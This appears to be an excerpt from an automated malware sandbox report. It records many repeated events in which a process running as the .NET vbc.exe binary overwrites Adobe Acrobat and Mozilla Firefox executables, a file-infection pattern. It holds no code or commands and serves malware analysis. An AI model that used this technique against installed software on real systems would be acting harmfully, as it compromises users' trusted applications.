Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
